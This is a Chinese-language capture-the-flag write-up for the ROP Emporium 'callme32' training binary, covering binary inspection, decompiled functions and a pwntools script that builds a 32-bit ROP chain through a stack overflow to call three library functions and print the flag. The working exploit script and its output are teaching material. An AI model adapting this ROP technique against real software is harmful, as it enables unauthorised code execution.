1检查
root@MSI:/mnt/xxx/03_callme32# tree
.
├── callme32
├── encrypted_flag.txt
├── key1.dat
├── key2.dat
└── libcallme32.so
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
RPATH: './'
[0x08048640]> iz
[Strings]
nth paddr vaddr len size section type string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x000008d0 0x080488d0 22 23 .rodata ascii callme by ROP Emporium
1 0x000008e7 0x080488e7 7 8 .rodata ascii 32bits\n
2 0x000008ef 0x080488ef 8 9 .rodata ascii \nExiting
3 0x000008f8 0x080488f8 33 34 .rodata ascii Hope you read the instructions...
2.1
[0x08048640]> afl
0x08048640 1 33 entry0
0x080485f0 1 6 sym.imp.__libc_start_main
0x08048558 3 35 sym._init
0x08048670 1 4 sym.__x86.get_pc_thunk.bx
0x080488b4 1 20 sym._fini
0x08048680 4 43 sym.deregister_tm_clones
0x080486b0 4 53 sym.register_tm_clones
0x080486f0 3 30 entry.fini0
0x08048710 4 43 -> 40 entry.init0
0x080487b6 1 86 sym.pwnme
0x08048610 1 6 sym.imp.memset
0x080485d0 1 6 sym.imp.puts
0x08048590 1 6 sym.imp.printf
0x080485a0 1 6 sym.imp.fgets
0x0804880c 1 67 sym.usefulFunction
0x080485b0 1 6 sym.imp.callme_three
0x08048620 1 6 sym.imp.callme_two
0x080485c0 1 6 sym.imp.callme_one
0x080485e0 1 6 sym.imp.exit
0x080488b0 1 2 sym.__libc_csu_fini
0x08048850 4 93 sym.__libc_csu_init
0x0804873b 1 123 main
0x08048600 1 6 sym.imp.setvbuf
2.2
- main
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
puts("callme by ROP Emporium");
puts("32bits\n");
pwnme();
puts("\nExiting");
return 0;
}
- pwnme
char *pwnme()
{
char s; // [esp+0h] [ebp-28h]
memset(&s, 0, 0x20u);
puts("Hope you read the instructions...");
printf("> ");
return fgets(&s, 256, stdin);
}
- usefulFuction
void __noreturn usefulFunction()
{
callme_three(4, 5, 6);
callme_two(4, 5, 6);
callme_one(4, 5, 6);
exit(1);
}
usefulFuction调用了三个外联函数,文件又给了一个libc,进libc看看
2.3.1 libc
[0x000005a0]> afl
0x000005a0 1 4 entry0
0x00000570 1 6 sym.imp.fopen
0x00000550 1 6 sym.imp.puts
0x00000560 1 6 sym.imp.exit
0x00000580 1 6 sym.imp.fgetc
0x000004d4 3 35 sym._init
0x000009b0 1 20 sym._fini
0x00000510 1 6 sym.imp.printf
0x00000540 1 6 sym.imp.malloc
0x00000520 1 6 sym.imp.fgets
0x00000530 1 6 sym.imp.fclose
0x000005b0 4 55 sym.deregister_tm_clones
0x000006cc 1 4 sym.__x86.get_pc_thunk.dx
0x000005f0 4 71 sym.register_tm_clones
0x00000640 5 71 entry.fini0
0x00000690 4 60 -> 56 entry.init0
0x00000000 14 365 -> 367 loc.imp._ITM_deregisterTMCloneTable
0x000006d0 10 253 sym.callme_one
0x000007cd 11 229 sym.callme_two
0x000008b2 10 254 sym.callme_three
2.3.2
- callme_one
int __cdecl callme_one(int a1, int a2, int a3)
{
FILE *stream; // [esp+Ch] [ebp-Ch]
if ( a1 != 1 || a2 != 2 || a3 != 3 )
{
puts("Incorrect parameters");
exit(1);
}
stream = fopen("encrypted_flag.txt", (const char *)&unk_9C4);
if ( !stream )
{
puts("Failed to open encrypted_flag.txt");
exit(1);
}
g_buf = (int)malloc(0x21u);
if ( !g_buf )
{
puts("Could not allocate memory");
exit(1);
}
g_buf = (int)fgets((char *)g_buf, 33, stream);
return fclose(stream);
}
- callme_two
FILE *__cdecl callme_two(int a1, int a2, int a3)
{
FILE *result; // eax
char v4; // si
signed int i; // [esp+8h] [ebp-10h]
FILE *stream; // [esp+Ch] [ebp-Ch]
if ( a1 != 1 || a2 != 2 || a3 != 3 )
{
puts("Incorrect parameters");
exit(1);
}
result = fopen("key1.dat", (const char *)&unk_9C4);
stream = result;
if ( !result )
{
puts("Failed to open key1.dat");
exit(1);
}
for ( i = 0; i <= 15; ++i )
{
v4 = fgetc(stream);
result = (FILE *)(g_buf + i);
*(_BYTE *)(g_buf + i) ^= v4;
}
return result;
}
- callme_three
void __cdecl __noreturn callme_three(int a1, int a2, int a3)
{
signed int i; // [esp+8h] [ebp-10h]
FILE *stream; // [esp+Ch] [ebp-Ch]
if ( a1 == 1 && a2 == 2 && a3 == 3 )
{
stream = fopen("key2.dat", (const char *)&unk_9C4);
if ( !stream )
{
puts("Failed to open key2.dat");
exit(1);
}
for ( i = 16; i <= 31; ++i )
*(_BYTE *)(g_buf + i) ^= fgetc(stream);
printf("%s", g_buf);
exit(0);
}
puts("Incorrect parameters");
exit(1);
}
发现这三个函数对一些文件进行解密,应该是解密后就是flag
3.1EXP
from pwn import *
#context.log_level = "debug"
p = process("./callme32")
callme_one_plt = 0x080485c0
callme_two_plt = 0x08048620
callme_three_plt = 0x080485b0
pop3_ret = 0x080488a9
payload = "\x00"*(0x28+4)
payload += p32(callme_one_plt) + p32(pop3_ret)
payload += p32(1) + p32(2) + p32(3)
payload += p32(callme_two_plt) + p32(pop3_ret)
payload += p32(1) + p32(2) + p32(3)
payload += p32(callme_three_plt) + p32(0)
payload += p32(1) + p32(2) + p32(3)
p.sendlineafter("> ",payload)
print(p.recv())
p.interactive()
3.2效果
[+] Starting local process './callme32': pid 1167
ROPE{a_placeholder_32byte_flag!}
[*] Switching to interactive mode
[*] Process './callme32' stopped with exit code 0 (pid 1167)
4总结
只传递一个参数的话,不需要平衡堆栈;但是这里传递了三个参数,每个参数4字节,3x4 = 12 = 0xc,所以要 pop esi; pop edi; pop ebp; ret(因为三个参数,所以pop3ret),使得栈顶esp上升0xc
平衡堆栈在之后的题中会经常遇到
这里补充下pop xxx的意思
pop xxx;ret即将栈上的值传递给寄存器的一段汇编指令